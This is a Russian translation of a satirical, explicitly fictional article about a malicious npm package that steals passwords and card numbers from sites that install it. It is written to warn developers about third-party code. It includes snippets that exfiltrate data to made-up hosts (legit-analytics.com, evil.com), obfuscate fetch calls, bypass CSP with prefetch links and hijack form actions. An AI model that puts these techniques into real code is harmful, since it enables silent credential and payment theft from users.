Никита Прияцелюк

«Я краду ваши пароли и номера кредиток. И я расскажу, как»

Все мы очень дорожим нашими данными. Сегодня мы расскажем, что с ними случится, если неосторожно устанавливать пакеты из npm.

13050
Обложка поста «Я краду ваши пароли и номера кредиток. И я расскажу, как»

Мы перевели статью, в которой человек описывает, как можно воровать данные пользователей с различных сайтов на протяжении нескольких лет, оставаясь незамеченным.

Рассказывает Дэвид Гилбертсон, веб-разработчик и автор на Hacker Noon.

***

Моя история — чистая правда. Ну, или почти. А может и неправда.

Выдалась безумная неделя в сфере безопасности — казалось, каждый день появляется новая уязвимость. Мне было сложно делать вид, будто я понимаю, что происходит, когда меня спрашивали об этом мои близкие. Я видел, что они взволнованы одной перспективой быть взломанными, и это меня вдохновило.

С тяжелым сердцем я решил рассказать вам правду о том, как я крал имена пользователей, пароли и номера кредитных карт с ваших сайтов в течение последних нескольких лет.

Как это работает?

Сам по себе вредоносный код очень простой, лучше всего он работает на страницах, которые удовлетворяют следующим критериям:

  • На странице есть тег <form>;
  • На странице можно найти элемент со свойством input[type=«password»], name=«cardnumber», name=«cvc» или чем-то подобным;
  • Страница содержит слова вроде «credit card», «checkout», «login», «password» и т.д.

Затем при возникновении события blur у поля для ввода пароля, или номера кредитной карты, или при возникновении события submit формы, мой код:

  • Собирает данные со всех полей форм (document.forms.forEach(…)) на странице;
  • Собирает document.cookie;
  • Превращает всё это в случайную на вид строку const payload = btoa(JSON.stringify(sensitiveUserData));
  • Затем отправляет результат на https://legit-analytics.com?q=${payload} (адрес, конечно, выдуманный).

Короче говоря, если похоже, что данные могут хоть как-то мне пригодиться, я отправляю их на мой сервер.

Конечно, когда я только написал этот код, в 2015-ом, на моём компьютере от него не было пользы. Я должен был выпустить его во внешний мир. Прямиком на ваши сайты.

Как однажды сказали в Google:

Так как же распространять подобный код? У XSS не те масштабы, да и защита от него есть. Расширения Chrome слишком ограничены.

К счастью для меня, мы живем в эпоху, когда люди устанавливают npm-пакеты направо и налево, не задумываясь.

Итак, я выбрал npm моим методом распространения. Мне нужно было придумать какой-нибудь минимально полезный пакет, который люди установили бы, не подумав, — мой троянский конь.

Люди любят симпатичные цвета — это то, что отличает нас от собак, — поэтому я написал пакет, который позволяет выводить данные в консоль в любом цвете:


Вот код, если вам интересно.

Я был взволнован в этот момент — у меня был убедительный пакет, но я не хотел ждать, пока люди медленно узнавали и рассказывали о нём. Поэтому я приступил к созданию пулл-реквестов для существующих пакетов, которые добавили бы мой пакет к их зависимостям.

Я сделал несколько сотен реквестов (разные учетные записи и, нет, ни один из них не раскрывал моего имени) для различных фронтенд-пакетов и их зависимостей. «Эй, я исправил проблему X, а также добавил логирование».

Смотри, мам, я вношу вклад в open-source!

Было много разумных людей, которые говорили мне, что они не хотят очередной зависимости, но тут всё решает количество.

В целом моя кампания имела большой успех: теперь 23 пакета напрямую зависели от моего творения. От одного из этих пакетов зависел довольно популярный пакет — моя дойная корова. Не буду приводить названий, но такие вот распространённые пакеты — это именно то, что мне было нужно.

И это — только один пакет. У меня ещё 6 на подходе.

И вот, у меня около 120 000 загрузок в месяц, и я с гордостью мог сказать, что мой вредоносный код ежедневно выполняется на тысячах сайтов, включая несколько сайтов из списка Alexa Top 1000, отправляя мне реки имён пользователей, паролей и деталей кредитных карт.

Вспоминая эти золотые годы, я не могу поверить, что люди тратят столько сил на возню с XSS, чтобы просто внедрить код на один сайт. Сами того не желая, мои друзья веб-разработчики помогают мне с лёгкостью внедрять вредоносный код на тысячи сайтов.

А теперь поговорим о ваших замечаниях, которые у вас, возможно, накопились.

Я бы заметил исходящие сетевые запросы!

Где бы вы их заметили? Мой код ничего не отправляет, пока открыты инструменты разработчика (да, даже если соответствующая панель откреплена от основного окна).

Я называю это манёвром Гейзенберга: пытаясь наблюдать за поведением моего кода, вы меняете его поведение.

Также программа незаметна на локальном хосте, или любом IP-адресе, или когда имя домена содержит слова dev, test, qa, uat или staging (окружённые символами границ слов \b).

Наши пентестеры заметили бы это в их инструментах по мониторингу HTTP-запросов!

Когда они работают? Мой код ничего не посылает между семью утра и семью вечера. Это уполовинивает мою добычу, зато и шансы быть пойманным уменьшаются на 95 %.

И ваши учётные данные нужны мне только раз. Поэтому после того, как я получил данные с устройства, я делаю об этом запись (локальное хранилище и куки) и больше ничего не отправляю с этого устройства. Репликация мне ни к чему.

Даже если какой-нибудь прилежный пентестер постоянно чистит куки и локальное хранилище, я отправляю данные лишь периодически, внося в это определённую долю случайности. Отправка данных производится один раз на примерно семь сеансов ввода данных — идеальная частота возникновения подозрительного события, которая позволяет свести с ума того, кто ищет уязвимости.

Кроме того, URL очень похож на сотни других запросов к рекламным сетям, которые отправляет ваш сайт.

Суть в том, что если вы чего-то не видите, это не значит, что этого не происходит. Прошло более двух лет, и, насколько я знаю, никто ещё не заметил ни один из моих запросов. Возможно, мой код работал именно на вашем сайте всё это время ?

Забавный факт. Когда я просматривал все пароли и номера кредитных карт, которые я собрал, и готовил их для продажи в даркнете, мне приходилось искать мои собственные данные на случай, если я попал под свою же атаку. Не очень-то и весело!

Я бы всё увидел в твоих исходниках на GitHub!

Ваша невинность согревает моё сердце.

Но я боюсь, что нет ничего невозможного в том, чтобы отправить одну версию кода в GitHub и другую — в npm.

В моём package.json я задал свойство files так, что оно указывает на директорию lib, содержащую минифицированный и изменённый до неузнаваемости вредоносный код, который будет отправлен в npm через npm publish. Но директория lib находится в моём .gitignore , поэтому она никогда не попадёт на GitHub. Это довольно распространённая практика, так что у вас даже не возникнет никаких подозрений при просмотре файлов на GitHub.

Это не проблема npm, даже если я не отправляю разный код в npm и GitHub, кто может утверждать, что то, что вы видите в /lib/package.min.js, является реальным результатом минификации /src/package.js?

Так что нет, вы не найдёте мой вредоносный код где-либо на GitHub.

Я просмотрел весь минифицированный код в node_modules!

Итак, сейчас вы просто ищете недостатки в моей схеме кражи данных с сайтов. Но, возможно, вы думаете, что можете написать нечто умное, автоматически проверяющее код на что-нибудь подозрительное.

Вы всё равно не найдёте ничего подозрительного в моих исходниках, в них нигде нет слова fetch, или XMLHttpRequest, или домена, на который я всё отправляю. Вот как выглядит мой код:

			const i = 'gfudi';
const k = s => s.split('').map(c => String.fromCharCode(c.charCodeAt() - 1)).join('');
self[k(i)](urlWithYourPreciousData);
		

Строка «gfudi» — это всего лишь слово «fetch», в котором буквы заменены каждая на следующую за ней по алфавиту. А self — всего лишь псевдоним для window.

А вот ещё один причудливый способ написать fetch(...):
self['\u0066\u0065\u0074\u0063\u0068'](...)

Иными словами, у вас нет ни шанса обнаружить подобные проделки в обфусцированном коде.

С учётом сказанного, я должен отметить, что на самом деле не использую ничего такого скучного, как fetch. Я предпочитаю использовать new EventSource(urlWithYourPreciousData) везде, где это возможно. Таким образом, даже если вы параноик и отслеживаете исходящие запросы, используя serviceWorker для отслеживания событий fetch, я проскользну мимо. Я просто не отправляю ничего из браузеров, которые поддерживают serviceWorker, и не поддерживают EventSource.

У меня есть политика защиты контента!

Ох, вот уж неожиданность. И кто вам сказал, что политика защиты контента (Content Security Policy, CSP) помешает вредоносному коду отправлять данные на какой-то левый домен? Я не люблю быть вестником плохих новостей, но следующие четыре строки кода обойдут даже строжайшую CSP:

			const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);
		

В более ранней версии этого поста я сказал, что продуманная CSP защитила бы вас, цитирую: «на 100%». К сожалению, 130 тыс. человек прочитало это прежде, чем я узнал о вышеописанном трюке. Поэтому отсюда можно извлечь урок: нельзя доверять никому и ничему в Интернете.

Но CSP не совсем бесполезные. Приведённый выше пример работает только в Chrome, и хорошая CSP, возможно, не даст мне провернуть то же самое в некоторых менее распространённых браузерах.

Если вы ещё не в курсе, то CSP может попытаться ограничить исходящие из браузера запросы. Часто о таких политиках говорят как о наборе правил, позволяющих ограничить то, что может поступить в браузер. Но вы можете также подумать, что CSP — это и средство защиты того, что из браузера может быть отправлено (когда я «отправляю» пароли ваших пользователей на мой сервер — это всего лишь параметр в GET-запросе).

В случае если я не могу получить данные с использованием своего трюка, CSP сильно мешают моей кампании по сбору номеров кредитных карт. И не только потому, что они вторгаются в мои гнусные планы.

Понимаете, если я попытаюсь отправить данные с сайта с CSP, она может сообщить владельцу о моей неудавшейся попытке (если они задали report-uri). В конечном итоге они отследили бы её до моего кода и, вероятно, позвонили бы моей маме, и тогда у меня были бы большие неприятности.

Поскольку я не хочу привлекать к себе внимание (кроме случаев, когда я на танцполе), я проверяю вашу CSP, прежде чем пытаться что-то отправить.

Для этого я делаю ложный запрос к текущей странице и читаю заголовки.

			fetch(document.location.href)
.then(resp => {
  const csp = resp.headers.get('Content-Security-Policy');
  // Есть ли CSP и насколько она реально работает?
});
		

На этом этапе я могу искать дыры в вашей CSP. Удивительно, что страница входа в систему Google имеет плохую CSP, которая позволит мне легко перехватить ваш логин и пароль, если бы мой код работал на этой странице. Они не предусмотрели установку connect-src и, кроме того, не задали «универсальный перехватчик» default-src, поэтому я могу отправлять ваши учётные данные куда мне заблагорассудится.

Если вы пришлёте мне по почте 10 долларов, я расскажу вам, работает ли мой код на странице входа в систему Google.

У Amazon вообще нет CSP на странице, где вы вводите номер своей кредитной карты, с eBay та же ситуация.

Twitter и PayPal имеют CSP, но получить ваши данные всё ещё проще некуда. Эти двое совершили ту же ошибку, и это, вероятно, признак того, что и другие не стали исключением. На первый взгляд, всё выглядит довольно основательно, оба они задали default-src, как и должны были. Но вот в чём загвоздка: перехватчик перехватывает не всё. Они не заблокировали form-action.

Итак, когда я проверяю вашу CSP (и делаю это дважды), если всё, кроме form-action, заблокировано, я просто беру и меняю значение атрибута action (в том месте, где данные отправляются на сервер при нажатии «войти») во всех ваших формах.

Array.from(document.forms).forEach(formEl => formEl.action = `//evil.com/bounce-form`);

Вот и всё. Спасибо, что отправил мне свой логин и пароль от PayPal, приятель. Я пришлю тебе благодарственную открытку с фотографией всего, что я купил на твои деньги.

Естественно, я выполняю такой трюк лишь один раз на одном устройстве и отправляю пользователя прямо на соответствующую страницу, когда он пожимает плечами и пробует воспользоваться формой снова.

К слову, используя этот метод, я взломал аккаунт Трампа в Твиттере и начал постить разную ерунду. Пока никто не заметил.

А вот теперь я обеспокоен, что я могу сделать?

Вариант первый:

Здесь вы будете в безопасности.

Вариант второй:

На каждой странице, которая собирает любые данные, которые вы хотите защитить от меня (или от моих товарищей-хакеров), не используйте модули npm. То же самое касается Google Tag Manager, или кода рекламных сетей, или аналитических скриптов, иными словами — никакого чужого кода.

Как советуют здесь, вы можете использовать простые отдельные страницы для целей входа в систему и ввода номеров кредитных карт, которые выводятся с помощью iFrame.

При этом все остальные части страницы вроде шапок, подвалов и блоков навигации, могут работать на старом добром React, где подключены 138 npm-пакетов. Однако, та часть страницы, на которой пользователь вводит данные, должна работать в отдельном iFrame, в котором, если вы хотите проверять какие-то данные на стороне клиента, должен выполняться только JavaScript-код, написанный вами собственноручно (и, позволю дать рекомендацию, не минифицированный).

Скоро я опубликую отчёт за 2017-ый год, где объявлю свой доход, полученный от кражи номеров кредитных карт и продажи их всяким гангстерам в клёвых шляпах. Закон требует, чтобы я раскрыл список сайтов, с которых я собрал больше всего номеров кредитных карт. Может быть, среди них окажется и ваш сайт?

Я человек добродушный, поэтому любой из списка, кто успешно заблокировал мои попытки по сбору данных до 12-ого января, будет избавлен от публичного позора.

Поговорим серьёзно

Я знаю, что мой безжалостный сарказм кому-то, может быть, трудно понять. Например, людям, которым не хватает чувства юмора. Поэтому, просто чтобы расставить все точки над i, хочу сказать, что я не создавал npm-пакет, который крадёт информацию с сайтов. Этот пост полностью вымышленный, но, тем не менее, вполне правдоподобный и, надеюсь, немного образовательный. Хотя всё это — лишь моя фантазия, меня беспокоит то, что это довольно легко реализуемо.

В мире достаточно умных, но нечистых на руку людей, кроме того, существует около 400 000 npm-пакетов. Мне кажется, что высока вероятность того, что как минимум в одном из них может встретиться вредоносный код, и, если этот код написан хорошо, вы об этом никогда не узнаете.

Проведём один интересный мысленный эксперимент. На прошлой неделе я написал npm-пакет, небольшую функцию плавности. Этот пакет не имеет никакого отношения к моему сегодняшнему рассказу, и я даю слово джентльмена, что в нём нет ничего вредоносного. Насколько сильно вы будете нервничать, подключая этот пакет к своему сайту?

Итоги

Итак, в чём смысл подобного поста? Заявить всем, что они неудачники и их легко обмануть?

Вовсе нет (вообще я хотел начать с этого, но потом понял, что я не лучше).

Моя цель (как оказалось) заключается в том, чтобы указать на то, что любой сайт, содержащий сторонний код, чрезвычайно уязвим. Причём, его уязвимости практически нереально обнаружить.

13050